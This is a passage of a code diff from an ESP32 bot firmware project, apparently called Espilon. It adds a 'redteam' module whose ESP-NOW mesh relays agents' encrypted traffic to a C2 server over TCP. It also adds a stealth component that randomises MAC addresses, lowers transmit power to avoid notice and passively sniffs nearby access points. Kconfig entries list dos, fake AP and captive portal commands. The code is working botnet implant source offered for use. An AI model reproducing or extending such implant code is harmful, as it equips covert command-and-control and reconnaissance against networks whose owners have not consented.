* Agent A (no internet) → ESP-NOW broadcast "ESPNOW_PROBE"
|
||||
* Agent B (connected) → ESP-NOW unicast "ESPNOW_ACK:<device_id>"
|
||||
* Agent A sends → "RELAY:<device_id>:<base64_encrypted_msg>"
|
||||
* Agent B receives → forwards via TCP to C2
|
||||
* Agent B receives resp → "REPLY:<device_id>:<base64_encrypted_resp>"
|
||||
*
|
||||
* ESP-NOW works WITHOUT WiFi association — pure 802.11 P2P.
|
||||
*/
|
||||
#include "sdkconfig.h"
|
||||
#include "rt_mesh.h"
|
||||
#include <string.h>
|
||||
|
||||
#ifdef CONFIG_MODULE_REDTEAM
|
||||
#ifdef CONFIG_RT_MESH
|
||||
#include <stdio.h>
|
||||
|
||||
#include "esp_log.h"
|
||||
#include "esp_now.h"
|
||||
#include "esp_wifi.h"
|
||||
#include "lwip/sockets.h"
|
||||
#include "freertos/FreeRTOS.h"
|
||||
#include "freertos/task.h"
|
||||
#include "freertos/semphr.h"
|
||||
|
||||
#include "utils.h"
|
||||
|
||||
static const char *TAG = "RT_MESH";
|
||||
|
||||
#define ESPNOW_PMK "espilon_mesh_pmk" /* 16 bytes primary master key */
|
||||
#define ESPNOW_CHANNEL 1
|
||||
#define PROBE_MAGIC "ESPNOW_PROBE"
|
||||
#define ACK_MAGIC "ESPNOW_ACK:"
|
||||
#define RELAY_MAGIC "RELAY:"
|
||||
#define REPLY_MAGIC "REPLY:"
|
||||
#define PROBE_INTERVAL_MS 5000
|
||||
#define MAX_PEERS 4
|
||||
|
||||
static volatile bool s_running = false;
|
||||
static volatile bool s_initialized = false;
|
||||
static TaskHandle_t s_probe_task = NULL;
|
||||
|
||||
/* Best relay peer */
|
||||
static rt_mesh_peer_t s_best_relay = {0};
|
||||
static SemaphoreHandle_t s_relay_mutex = NULL;
|
||||
|
||||
/* ============================================================
|
||||
* ESP-NOW receive callback
|
||||
* ============================================================ */
|
||||
|
||||
static void espnow_recv_cb(const esp_now_recv_info_t *info,
|
||||
const uint8_t *data, int len)
|
||||
{
|
||||
if (!s_running || !data || len <= 0) return;
|
||||
|
||||
/* ACK from a connected agent: "ESPNOW_ACK:<device_id>" */
|
||||
if (len > (int)strlen(ACK_MAGIC) &&
|
||||
memcmp(data, ACK_MAGIC, strlen(ACK_MAGIC)) == 0) {
|
||||
|
||||
const char *dev_id = (const char *)data + strlen(ACK_MAGIC);
|
||||
int id_len = len - (int)strlen(ACK_MAGIC);
|
||||
if (id_len <= 0 || id_len > 15) id_len = (id_len <= 0) ? 0 : 15;
|
||||
if (id_len == 0) return;
|
||||
|
||||
if (s_relay_mutex && xSemaphoreTake(s_relay_mutex, 0) == pdTRUE) {
|
||||
/* Use RSSI to pick the best relay */
|
||||
int8_t rssi = info->rx_ctrl->rssi;
|
||||
if (!s_best_relay.available || rssi > s_best_relay.rssi) {
|
||||
memcpy(s_best_relay.mac, info->src_addr, 6);
|
||||
memcpy(s_best_relay.device_id, dev_id, id_len);
|
||||
s_best_relay.device_id[id_len] = '\0';
|
||||
s_best_relay.rssi = rssi;
|
||||
s_best_relay.available = true;
|
||||
|
||||
ESP_LOGI(TAG, "Relay found: %s (RSSI=%d)", s_best_relay.device_id, rssi);
|
||||
}
|
||||
xSemaphoreGive(s_relay_mutex);
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
/* PROBE from another agent looking for a relay */
|
||||
if (len == (int)strlen(PROBE_MAGIC) &&
|
||||
memcmp(data, PROBE_MAGIC, strlen(PROBE_MAGIC)) == 0) {
|
||||
|
||||
/* We answer only if we have internet (sock >= 0) */
|
||||
extern int sock;
|
||||
if (sock >= 0) {
|
||||
/* Send ACK with our device_id */
|
||||
char ack[64];
|
||||
int ack_len = snprintf(ack, sizeof(ack), "%s%s", ACK_MAGIC, CONFIG_DEVICE_ID);
|
||||
|
||||
/* Add peer if not already added */
|
||||
esp_now_peer_info_t peer = {0};
|
||||
memcpy(peer.peer_addr, info->src_addr, 6);
|
||||
peer.channel = 0; /* current channel */
|
||||
peer.encrypt = false;
|
||||
esp_now_add_peer(&peer); /* ignore error if already exists */
|
||||
|
||||
esp_now_send(info->src_addr, (uint8_t *)ack, ack_len);
|
||||
ESP_LOGI(TAG, "Answered PROBE from %02X:%02X:%02X:%02X:%02X:%02X",
|
||||
info->src_addr[0], info->src_addr[1], info->src_addr[2],
|
||||
info->src_addr[3], info->src_addr[4], info->src_addr[5]);
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
/* RELAY request from another agent: forward to C2 via TCP */
|
||||
if (len > (int)strlen(RELAY_MAGIC) &&
|
||||
memcmp(data, RELAY_MAGIC, strlen(RELAY_MAGIC)) == 0) {
|
||||
|
||||
extern int sock;
|
||||
extern SemaphoreHandle_t sock_mutex;
|
||||
if (sock >= 0 && sock_mutex) {
|
||||
const uint8_t *payload = data + strlen(RELAY_MAGIC);
|
||||
int payload_len = len - strlen(RELAY_MAGIC);
|
||||
|
||||
xSemaphoreTake(sock_mutex, portMAX_DELAY);
|
||||
int s = sock;
|
||||
xSemaphoreGive(sock_mutex);
|
||||
|
||||
if (s >= 0) {
|
||||
/* Forward as-is — the payload is already encrypted E2E */
|
||||
lwip_write(s, payload, payload_len);
|
||||
lwip_write(s, "\n", 1);
|
||||
ESP_LOGI(TAG, "Relayed %d bytes to C2", payload_len);
|
||||
}
|
||||
}
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* ESP-NOW send callback
|
||||
* ============================================================ */
|
||||
|
||||
static void espnow_send_cb(const uint8_t *mac, esp_now_send_status_t status)
|
||||
{
|
||||
/* Minimal — just log failures */
|
||||
if (status != ESP_NOW_SEND_SUCCESS) {
|
||||
ESP_LOGW(TAG, "ESP-NOW send failed to %02X:%02X:%02X:%02X:%02X:%02X",
|
||||
mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]);
|
||||
}
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Probe task — periodically broadcast to find relays
|
||||
* ============================================================ */
|
||||
|
||||
static void probe_task(void *arg)
|
||||
{
|
||||
(void)arg;
|
||||
|
||||
/* Broadcast peer */
|
||||
esp_now_peer_info_t bcast = {0};
|
||||
memset(bcast.peer_addr, 0xFF, 6);
|
||||
bcast.channel = 0;
|
||||
bcast.encrypt = false;
|
||||
esp_now_add_peer(&bcast);
|
||||
|
||||
while (s_running) {
|
||||
/* Broadcast probe */
|
||||
esp_now_send(bcast.peer_addr,
|
||||
(uint8_t *)PROBE_MAGIC,
|
||||
strlen(PROBE_MAGIC));
|
||||
|
||||
vTaskDelay(pdMS_TO_TICKS(PROBE_INTERVAL_MS));
|
||||
}
|
||||
|
||||
s_probe_task = NULL;
|
||||
vTaskDelete(NULL);
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Public API
|
||||
* ============================================================ */
|
||||
|
||||
bool rt_mesh_start(void)
|
||||
{
|
||||
if (s_running) return true;
|
||||
|
||||
if (!s_relay_mutex) {
|
||||
s_relay_mutex = xSemaphoreCreateMutex();
|
||||
}
|
||||
|
||||
if (!s_initialized) {
|
||||
esp_err_t ret = esp_now_init();
|
||||
if (ret != ESP_OK) {
|
||||
ESP_LOGE(TAG, "esp_now_init failed: %s", esp_err_to_name(ret));
|
||||
return false;
|
||||
}
|
||||
|
||||
esp_now_register_recv_cb(espnow_recv_cb);
|
||||
esp_now_register_send_cb(espnow_send_cb);
|
||||
s_initialized = true;
|
||||
}
|
||||
|
||||
s_running = true;
|
||||
memset(&s_best_relay, 0, sizeof(s_best_relay));
|
||||
|
||||
xTaskCreatePinnedToCore(probe_task, "rt_mesh", 3072, NULL, 4, &s_probe_task, 0);
|
||||
|
||||
ESP_LOGI(TAG, "ESP-NOW mesh relay started");
|
||||
return true;
|
||||
}
|
||||
|
||||
void rt_mesh_stop(void)
|
||||
{
|
||||
s_running = false;
|
||||
|
||||
/* Wait for probe task to stop */
|
||||
for (int i = 0; i < 30 && s_probe_task != NULL; i++) {
|
||||
vTaskDelay(pdMS_TO_TICKS(100));
|
||||
}
|
||||
|
||||
if (s_initialized) {
|
||||
esp_now_deinit();
|
||||
s_initialized = false;
|
||||
}
|
||||
|
||||
memset(&s_best_relay, 0, sizeof(s_best_relay));
|
||||
ESP_LOGI(TAG, "ESP-NOW mesh relay stopped");
|
||||
}
|
||||
|
||||
bool rt_mesh_is_running(void)
|
||||
{
|
||||
return s_running;
|
||||
}
|
||||
|
||||
bool rt_mesh_send(const uint8_t *data, size_t len)
|
||||
{
|
||||
if (!s_running || !s_best_relay.available) return false;
|
||||
if (len > 240) { /* ESP-NOW max payload = 250, minus RELAY: prefix */
|
||||
ESP_LOGW(TAG, "Payload too large for ESP-NOW (%d bytes)", (int)len);
|
||||
return false;
|
||||
}
|
||||
|
||||
/* Build "RELAY:<payload>" */
|
||||
uint8_t buf[250];
|
||||
int prefix_len = strlen(RELAY_MAGIC);
|
||||
memcpy(buf, RELAY_MAGIC, prefix_len);
|
||||
memcpy(buf + prefix_len, data, len);
|
||||
|
||||
esp_err_t ret = esp_now_send(s_best_relay.mac, buf, prefix_len + len);
|
||||
return (ret == ESP_OK);
|
||||
}
|
||||
|
||||
void rt_mesh_probe(void)
|
||||
{
|
||||
if (!s_running) return;
|
||||
|
||||
/* Reset best relay */
|
||||
if (s_relay_mutex && xSemaphoreTake(s_relay_mutex, portMAX_DELAY) == pdTRUE) {
|
||||
memset(&s_best_relay, 0, sizeof(s_best_relay));
|
||||
xSemaphoreGive(s_relay_mutex);
|
||||
}
|
||||
|
||||
/* Broadcast probe immediately */
|
||||
uint8_t bcast[6];
|
||||
memset(bcast, 0xFF, 6);
|
||||
esp_now_send(bcast, (uint8_t *)PROBE_MAGIC, strlen(PROBE_MAGIC));
|
||||
}
|
||||
|
||||
bool rt_mesh_get_relay(rt_mesh_peer_t *out)
|
||||
{
|
||||
if (!out) return false;
|
||||
if (!s_relay_mutex) {
|
||||
memset(out, 0, sizeof(*out));
|
||||
return false;
|
||||
}
|
||||
|
||||
xSemaphoreTake(s_relay_mutex, portMAX_DELAY);
|
||||
memcpy(out, &s_best_relay, sizeof(rt_mesh_peer_t));
|
||||
xSemaphoreGive(s_relay_mutex);
|
||||
|
||||
return out->available;
|
||||
}
|
||||
|
||||
#else /* !CONFIG_RT_MESH */
|
||||
|
||||
bool rt_mesh_start(void) { return false; }
|
||||
void rt_mesh_stop(void) { }
|
||||
bool rt_mesh_is_running(void) { return false; }
|
||||
bool rt_mesh_send(const uint8_t *data, size_t len) { (void)data; (void)len; return false; }
|
||||
void rt_mesh_probe(void) { }
|
||||
bool rt_mesh_get_relay(rt_mesh_peer_t *out) {
|
||||
if (out) { memset(out, 0, sizeof(*out)); out->available = false; }
|
||||
return false;
|
||||
}
|
||||
|
||||
#endif /* CONFIG_RT_MESH */
|
||||
#endif /* CONFIG_MODULE_REDTEAM */
|
||||
42
espilon_bot/components/mod_redteam/rt_mesh.h
Normal file
42
espilon_bot/components/mod_redteam/rt_mesh.h
Normal file
@ -0,0 +1,42 @@
|
||||
/*
|
||||
* rt_mesh.h
|
||||
* ESP-NOW mesh relay between Espilon agents.
|
||||
*/
|
||||
#pragma once
|
||||
|
||||
#include <stdbool.h>
|
||||
#include <stdint.h>
|
||||
#include <stddef.h>
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
/* Start ESP-NOW mesh (init, register callbacks, start probe/relay). */
|
||||
bool rt_mesh_start(void);
|
||||
|
||||
/* Stop ESP-NOW mesh. */
|
||||
void rt_mesh_stop(void);
|
||||
|
||||
/* Is mesh running? */
|
||||
bool rt_mesh_is_running(void);
|
||||
|
||||
/* Send data via ESP-NOW relay (Agent A → Agent B → C2). */
|
||||
bool rt_mesh_send(const uint8_t *data, size_t len);
|
||||
|
||||
/* Broadcast a probe to find connected agents. */
|
||||
void rt_mesh_probe(void);
|
||||
|
||||
/* Get best relay peer info (device_id, RSSI). Empty if none found. */
|
||||
typedef struct {
|
||||
uint8_t mac[6];
|
||||
char device_id[16];
|
||||
int8_t rssi;
|
||||
bool available;
|
||||
} rt_mesh_peer_t;
|
||||
|
||||
bool rt_mesh_get_relay(rt_mesh_peer_t *out);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
272
espilon_bot/components/mod_redteam/rt_stealth.c
Normal file
272
espilon_bot/components/mod_redteam/rt_stealth.c
Normal file
@ -0,0 +1,272 @@
|
||||
/*
|
||||
* rt_stealth.c
|
||||
* OPSEC: MAC randomization, TX power control, passive scan.
|
||||
*/
|
||||
#include "sdkconfig.h"
|
||||
#include "rt_stealth.h"
|
||||
|
||||
#ifdef CONFIG_MODULE_REDTEAM
|
||||
|
||||
#include <string.h>
|
||||
#include "esp_log.h"
|
||||
#include "esp_wifi.h"
|
||||
#include "esp_random.h"
|
||||
#include "freertos/FreeRTOS.h"
|
||||
#include "freertos/task.h"
|
||||
|
||||
static const char *TAG = "RT_STEALTH";
|
||||
|
||||
/* ============================================================
|
||||
* MAC randomization
|
||||
* ============================================================ */
|
||||
|
||||
static uint8_t s_orig_mac[6] = {0};
|
||||
static bool s_mac_saved = false;
|
||||
|
||||
void rt_stealth_save_original_mac(void)
|
||||
{
|
||||
if (esp_wifi_get_mac(WIFI_IF_STA, s_orig_mac) == ESP_OK) {
|
||||
s_mac_saved = true;
|
||||
ESP_LOGI(TAG, "Original MAC: %02X:%02X:%02X:%02X:%02X:%02X",
|
||||
s_orig_mac[0], s_orig_mac[1], s_orig_mac[2],
|
||||
s_orig_mac[3], s_orig_mac[4], s_orig_mac[5]);
|
||||
}
|
||||
}
|
||||
|
||||
void rt_stealth_randomize_mac(void)
|
||||
{
|
||||
uint8_t mac[6];
|
||||
esp_fill_random(mac, 6);
|
||||
mac[0] &= 0xFE; /* unicast */
|
||||
mac[0] |= 0x02; /* locally administered */
|
||||
|
||||
/* Must disconnect before changing MAC */
|
||||
esp_wifi_disconnect();
|
||||
vTaskDelay(pdMS_TO_TICKS(50));
|
||||
|
||||
esp_err_t err = esp_wifi_set_mac(WIFI_IF_STA, mac);
|
||||
if (err == ESP_OK) {
|
||||
ESP_LOGI(TAG, "MAC randomized: %02X:%02X:%02X:%02X:%02X:%02X",
|
||||
mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]);
|
||||
} else {
|
||||
ESP_LOGW(TAG, "MAC set failed: %s", esp_err_to_name(err));
|
||||
}
|
||||
}
|
||||
|
||||
void rt_stealth_restore_mac(void)
|
||||
{
|
||||
if (s_mac_saved) {
|
||||
esp_wifi_disconnect();
|
||||
vTaskDelay(pdMS_TO_TICKS(50));
|
||||
esp_wifi_set_mac(WIFI_IF_STA, s_orig_mac);
|
||||
ESP_LOGI(TAG, "MAC restored: %02X:%02X:%02X:%02X:%02X:%02X",
|
||||
s_orig_mac[0], s_orig_mac[1], s_orig_mac[2],
|
||||
s_orig_mac[3], s_orig_mac[4], s_orig_mac[5]);
|
||||
}
|
||||
}
|
||||
|
||||
void rt_stealth_get_current_mac(uint8_t mac[6])
|
||||
{
|
||||
esp_wifi_get_mac(WIFI_IF_STA, mac);
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* TX power control
|
||||
* ============================================================ */
|
||||
|
||||
void rt_stealth_low_tx_power(void)
|
||||
{
|
||||
/* 8 dBm (arg * 0.25 dBm, so 32 = 8 dBm) */
|
||||
esp_err_t err = esp_wifi_set_max_tx_power(32);
|
||||
if (err == ESP_OK) {
|
||||
ESP_LOGI(TAG, "TX power reduced to 8 dBm");
|
||||
} else {
|
||||
ESP_LOGW(TAG, "TX power set failed: %s", esp_err_to_name(err));
|
||||
}
|
||||
}
|
||||
|
||||
void rt_stealth_restore_tx_power(void)
|
||||
{
|
||||
esp_wifi_set_max_tx_power(80); /* 20 dBm */
|
||||
ESP_LOGI(TAG, "TX power restored to 20 dBm");
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Passive scan — promiscuous mode beacon capture
|
||||
* ============================================================ */
|
||||
|
||||
/* WiFi management frame header */
|
||||
typedef struct {
|
||||
unsigned frame_ctrl:16;
|
||||
unsigned duration_id:16;
|
||||
uint8_t addr1[6]; /* Destination */
|
||||
uint8_t addr2[6]; /* Source */
|
||||
uint8_t addr3[6]; /* BSSID */
|
||||
unsigned seq_ctrl:16;
|
||||
} __attribute__((packed)) wifi_mgmt_hdr_t;
|
||||
|
||||
/* Beacon frame body (partial — just what we need) */
|
||||
/* Fixed fields: timestamp(8) + beacon_interval(2) + capability(2) = 12 bytes */
|
||||
#define BEACON_FIXED_LEN 12
|
||||
/* Tag: SSID = tag_number 0, followed by length, then SSID string */
|
||||
|
||||
static rt_scan_ap_t s_scan_results[RT_MAX_SCAN_APS];
|
||||
static volatile int s_scan_count = 0;
|
||||
|
||||
/* Check if we already have this BSSID */
|
||||
static int find_bssid(const uint8_t bssid[6])
|
||||
{
|
||||
for (int i = 0; i < s_scan_count; i++) {
|
||||
if (memcmp(s_scan_results[i].bssid, bssid, 6) == 0)
|
||||
return i;
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
|
||||
static void IRAM_ATTR passive_scan_cb(void *buf, wifi_promiscuous_pkt_type_t type)
|
||||
{
|
||||
if (type != WIFI_PKT_MGMT) return;
|
||||
|
||||
wifi_promiscuous_pkt_t *pkt = (wifi_promiscuous_pkt_t *)buf;
|
||||
wifi_mgmt_hdr_t *hdr = (wifi_mgmt_hdr_t *)pkt->payload;
|
||||
|
||||
/* Check frame type: beacon = 0x80, probe response = 0x50 */
|
||||
uint16_t fc = hdr->frame_ctrl;
|
||||
uint8_t subtype = (fc >> 4) & 0x0F;
|
||||
if (subtype != 8 && subtype != 5) return; /* 8=beacon, 5=probe_resp */
|
||||
|
||||
/* BSSID is addr3 for beacons */
|
||||
const uint8_t *bssid = hdr->addr3;
|
||||
|
||||
/* Skip if already seen */
|
||||
if (find_bssid(bssid) >= 0) {
|
||||
/* Update RSSI if stronger */
|
||||
int idx = find_bssid(bssid);
|
||||
if (pkt->rx_ctrl.rssi > s_scan_results[idx].rssi) {
|
||||
s_scan_results[idx].rssi = pkt->rx_ctrl.rssi;
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
if (s_scan_count >= RT_MAX_SCAN_APS) return;
|
||||
|
||||
/* Parse beacon body for SSID */
|
||||
size_t hdr_len = sizeof(wifi_mgmt_hdr_t);
|
||||
size_t body_offset = hdr_len + BEACON_FIXED_LEN;
|
||||
|
||||
if ((int)pkt->rx_ctrl.sig_len < (int)(body_offset + 2))
|
||||
return;
|
||||
|
||||
/* Parse tagged parameters for SSID (tag 0) and RSN/WPA (security) */
|
||||
const uint8_t *body = pkt->payload + body_offset;
|
||||
size_t body_len = pkt->rx_ctrl.sig_len - body_offset;
|
||||
/* Remove FCS (4 bytes) if present */
|
||||
if (body_len > 4) body_len -= 4;
|
||||
|
||||
rt_scan_ap_t *ap = &s_scan_results[s_scan_count];
|
||||
memset(ap, 0, sizeof(*ap));
|
||||
memcpy(ap->bssid, bssid, 6);
|
||||
ap->rssi = pkt->rx_ctrl.rssi;
|
||||
ap->channel = pkt->rx_ctrl.channel;
|
||||
ap->auth_mode = 0; /* Assume open until we find RSN/WPA tag */
|
||||
|
||||
/* Parse IEs (Information Elements) */
|
||||
size_t pos = 0;
|
||||
while (pos + 2 <= body_len) {
|
||||
uint8_t tag_id = body[pos];
|
||||
uint8_t tag_len = body[pos + 1];
|
||||
|
||||
if (pos + 2 + tag_len > body_len) break;
|
||||
|
||||
if (tag_id == 0) { /* SSID */
|
||||
size_t ssid_len = tag_len;
|
||||
if (ssid_len > 32) ssid_len = 32;
|
||||
memcpy(ap->ssid, body + pos + 2, ssid_len);
|
||||
ap->ssid[ssid_len] = '\0';
|
||||
} else if (tag_id == 48) { /* RSN (WPA2) */
|
||||
ap->auth_mode = 3; /* WPA2 */
|
||||
} else if (tag_id == 221) { /* Vendor specific — check for WPA OUI */
|
||||
if (tag_len >= 4 &&
|
||||
body[pos + 2] == 0x00 && body[pos + 3] == 0x50 &&
|
||||
body[pos + 4] == 0xF2 && body[pos + 5] == 0x01) {
|
||||
if (ap->auth_mode == 0) ap->auth_mode = 2; /* WPA */
|
||||
}
|
||||
}
|
||||
|
||||
pos += 2 + tag_len;
|
||||
}
|
||||
|
||||
s_scan_count++;
|
||||
}
|
||||
|
||||
int rt_stealth_passive_scan(int duration_ms)
|
||||
{
|
||||
s_scan_count = 0;
|
||||
memset(s_scan_results, 0, sizeof(s_scan_results));
|
||||
|
||||
/* Enable promiscuous mode */
|
||||
esp_wifi_disconnect();
|
||||
vTaskDelay(pdMS_TO_TICKS(100));
|
||||
|
||||
esp_err_t ret = esp_wifi_set_promiscuous_rx_cb(passive_scan_cb);
|
||||
if (ret != ESP_OK) {
|
||||
ESP_LOGE(TAG, "Promiscuous CB failed: %s", esp_err_to_name(ret));
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* Filter management frames only (beacons, probe responses) */
|
||||
wifi_promiscuous_filter_t filter = {
|
||||
.filter_mask = WIFI_PROMIS_FILTER_MASK_MGMT
|
||||
};
|
||||
esp_wifi_set_promiscuous_filter(&filter);
|
||||
|
||||
ret = esp_wifi_set_promiscuous(true);
|
||||
if (ret != ESP_OK) {
|
||||
ESP_LOGE(TAG, "Promiscuous enable failed: %s", esp_err_to_name(ret));
|
||||
return 0;
|
||||
}
|
||||
|
||||
ESP_LOGI(TAG, "Passive scan started (%d ms)", duration_ms);
|
||||
|
||||
/* Channel hop: ~200ms per channel, 13 channels per cycle */
|
||||
int channels = 13;
|
||||
int hop_ms = 200;
|
||||
int elapsed = 0;
|
||||
|
||||
while (elapsed < duration_ms) {
|
||||
for (int ch = 1; ch <= channels && elapsed < duration_ms; ch++) {
|
||||
esp_wifi_set_channel(ch, WIFI_SECOND_CHAN_NONE);
|
||||
vTaskDelay(pdMS_TO_TICKS(hop_ms));
|
||||
elapsed += hop_ms;
|
||||
}
|
||||
}
|
||||
|
||||
/* Disable promiscuous mode */
|
||||
esp_wifi_set_promiscuous(false);
|
||||
|
||||
ESP_LOGI(TAG, "Passive scan done: %d unique APs", s_scan_count);
|
||||
return s_scan_count;
|
||||
}
|
||||
|
||||
int rt_stealth_get_scan_results(rt_scan_ap_t *out, int max_count)
|
||||
{
|
||||
int count = s_scan_count;
|
||||
if (count > max_count) count = max_count;
|
||||
memcpy(out, s_scan_results, count * sizeof(rt_scan_ap_t));
|
||||
return count;
|
||||
}
|
||||
|
||||
#else /* !CONFIG_MODULE_REDTEAM — empty stubs */
|
||||
|
||||
#include <string.h>
|
||||
|
||||
void rt_stealth_save_original_mac(void) {}
|
||||
void rt_stealth_randomize_mac(void) {}
|
||||
void rt_stealth_restore_mac(void) {}
|
||||
void rt_stealth_get_current_mac(uint8_t mac[6]) { memset(mac, 0, 6); }
|
||||
void rt_stealth_low_tx_power(void) {}
|
||||
void rt_stealth_restore_tx_power(void) {}
|
||||
int rt_stealth_passive_scan(int duration_ms) { (void)duration_ms; return 0; }
|
||||
int rt_stealth_get_scan_results(rt_scan_ap_t *out, int max_count) { (void)out; (void)max_count; return 0; }
|
||||
|
||||
#endif /* CONFIG_MODULE_REDTEAM */
|
||||
54
espilon_bot/components/mod_redteam/rt_stealth.h
Normal file
54
espilon_bot/components/mod_redteam/rt_stealth.h
Normal file
@ -0,0 +1,54 @@
|
||||
/*
|
||||
* rt_stealth.h
|
||||
* OPSEC: MAC randomization, TX power control, passive scanning.
|
||||
*/
|
||||
#pragma once
|
||||
|
||||
#include <stdbool.h>
|
||||
#include <stdint.h>
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
/* Save the current STA MAC as original (call once at module init). */
|
||||
void rt_stealth_save_original_mac(void);
|
||||
|
||||
/* Randomize the STA MAC (locally-administered unicast). */
|
||||
void rt_stealth_randomize_mac(void);
|
||||
|
||||
/* Restore the original MAC. */
|
||||
void rt_stealth_restore_mac(void);
|
||||
|
||||
/* Get current STA MAC. */
|
||||
void rt_stealth_get_current_mac(uint8_t mac[6]);
|
||||
|
||||
/* Reduce TX power to stealth level (~8 dBm). */
|
||||
void rt_stealth_low_tx_power(void);
|
||||
|
||||
/* Restore TX power to default (20 dBm). */
|
||||
void rt_stealth_restore_tx_power(void);
|
||||
|
||||
/* Passive scan: channel-hop in promiscuous mode, collect beacons.
|
||||
* Results stored internally, retrieve with rt_stealth_get_scan_results.
|
||||
* duration_ms: total scan time (e.g. 3000 for 3s).
|
||||
* Returns number of unique APs found. */
|
||||
int rt_stealth_passive_scan(int duration_ms);
|
||||
|
||||
/* AP info collected during passive scan */
|
||||
typedef struct {
|
||||
uint8_t bssid[6];
|
||||
char ssid[33];
|
||||
int8_t rssi;
|
||||
uint8_t channel;
|
||||
uint8_t auth_mode; /* 0=open, 1=WEP, 2=WPA, 3=WPA2, ... */
|
||||
} rt_scan_ap_t;
|
||||
|
||||
#define RT_MAX_SCAN_APS 32
|
||||
|
||||
/* Get passive scan results. Returns count. */
|
||||
int rt_stealth_get_scan_results(rt_scan_ap_t *out, int max_count);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
@ -2,5 +2,5 @@ idf_component_register(
|
||||
SRCS
|
||||
cmd_system.c
|
||||
INCLUDE_DIRS .
|
||||
REQUIRES core command esp_timer nvs_flash spi_flash
|
||||
REQUIRES core esp_timer nvs_flash spi_flash
|
||||
)
|
||||
|
||||
@ -15,7 +15,6 @@
|
||||
#include "freertos/FreeRTOS.h"
|
||||
#include "freertos/task.h"
|
||||
|
||||
#include "command.h"
|
||||
#include "utils.h"
|
||||
|
||||
#define TAG "SYSTEM"
|
||||
@ -149,6 +148,26 @@ static int cmd_system_info(
|
||||
first = 0;
|
||||
#endif
|
||||
#endif
|
||||
#ifdef CONFIG_MODULE_HONEYPOT
|
||||
len += snprintf(buf + len, sizeof(buf) - len, "%shoneypot", first ? "" : ",");
|
||||
first = 0;
|
||||
#endif
|
||||
#ifdef CONFIG_MODULE_CANBUS
|
||||
len += snprintf(buf + len, sizeof(buf) - len, "%scanbus", first ? "" : ",");
|
||||
first = 0;
|
||||
#endif
|
||||
#ifdef CONFIG_MODULE_FALLBACK
|
||||
len += snprintf(buf + len, sizeof(buf) - len, "%sfallback", first ? "" : ",");
|
||||
first = 0;
|
||||
#endif
|
||||
#ifdef CONFIG_MODULE_REDTEAM
|
||||
len += snprintf(buf + len, sizeof(buf) - len, "%sredteam", first ? "" : ",");
|
||||
first = 0;
|
||||
#endif
|
||||
#ifdef CONFIG_ESPILON_OTA_ENABLED
|
||||
len += snprintf(buf + len, sizeof(buf) - len, "%sota", first ? "" : ",");
|
||||
first = 0;
|
||||
#endif
|
||||
|
||||
if (first) {
|
||||
len += snprintf(buf + len, sizeof(buf) - len, "none");
|
||||
|
||||
@ -1,3 +1,3 @@
|
||||
idf_component_register(SRCS "bot-lwip.c"
|
||||
INCLUDE_DIRS "."
|
||||
REQUIRES esp_wifi nvs_flash core mod_fakeAP mod_network mod_recon mod_system command)
|
||||
REQUIRES esp_wifi nvs_flash core mod_fakeAP mod_network mod_recon mod_system mod_honeypot mod_ota mod_fallback mod_redteam mod_canbus)
|
||||
|
||||
@ -40,12 +40,36 @@ config WIFI_PASS
|
||||
endmenu
|
||||
|
||||
menu "GPRS Settings"
|
||||
depends on NETWORK_GPRS
|
||||
depends on NETWORK_GPRS || FB_GPRS_FALLBACK
|
||||
|
||||
config GPRS_APN
|
||||
string "APN"
|
||||
default "sl2sfr"
|
||||
|
||||
config GPRS_TXD_PIN
|
||||
int "UART TX GPIO"
|
||||
default 27
|
||||
|
||||
config GPRS_RXD_PIN
|
||||
int "UART RX GPIO"
|
||||
default 26
|
||||
|
||||
config GPRS_PWR_KEY
|
||||
int "Modem PWRKEY GPIO"
|
||||
default 4
|
||||
|
||||
config GPRS_PWR_EN
|
||||
int "Modem Power Enable GPIO"
|
||||
default 23
|
||||
|
||||
config GPRS_RESET_PIN
|
||||
int "Modem Reset GPIO"
|
||||
default 5
|
||||
|
||||
config GPRS_LED_GPIO
|
||||
int "Status LED GPIO"
|
||||
default 13
|
||||
|
||||
endmenu
|
||||
|
||||
endmenu
|
||||
@ -66,6 +90,28 @@ config SERVER_PORT
|
||||
|
||||
endmenu
|
||||
|
||||
################################################
|
||||
# Async Workers
|
||||
################################################
|
||||
menu "Async Workers"
|
||||
|
||||
config ASYNC_WORKER_COUNT
|
||||
int "Number of async command workers"
|
||||
default 2
|
||||
range 1 4
|
||||
help
|
||||
Number of FreeRTOS tasks that process async commands
|
||||
in parallel on Core 1.
|
||||
|
||||
config ASYNC_QUEUE_DEPTH
|
||||
int "Async command queue depth"
|
||||
default 8
|
||||
range 4 32
|
||||
help
|
||||
Maximum number of async commands waiting to be processed.
|
||||
|
||||
endmenu
|
||||
|
||||
################################################
|
||||
# Modules (Command Providers)
|
||||
################################################
|
||||
@ -75,7 +121,7 @@ config MODULE_NETWORK
|
||||
bool "Network Commands"
|
||||
default y
|
||||
help
|
||||
ping, arp_scan, proxy, dos, etc.
|
||||
ping, arp_scan, dos, tunnel proxy, etc.
|
||||
|
||||
config MODULE_RECON
|
||||
bool "Recon Commands"
|
||||
@ -90,6 +136,245 @@ config MODULE_FAKEAP
|
||||
help
|
||||
Fake AP, captive portal, sniffer.
|
||||
|
||||
config MODULE_HONEYPOT
|
||||
bool "Honeypot Module"
|
||||
default n
|
||||
help
|
||||
TCP honeypot services (SSH, Telnet, HTTP, FTP),
|
||||
WiFi monitor, network anomaly detector.
|
||||
|
||||
config MODULE_FALLBACK
|
||||
bool "Fallback - Resilient Connectivity"
|
||||
default n
|
||||
help
|
||||
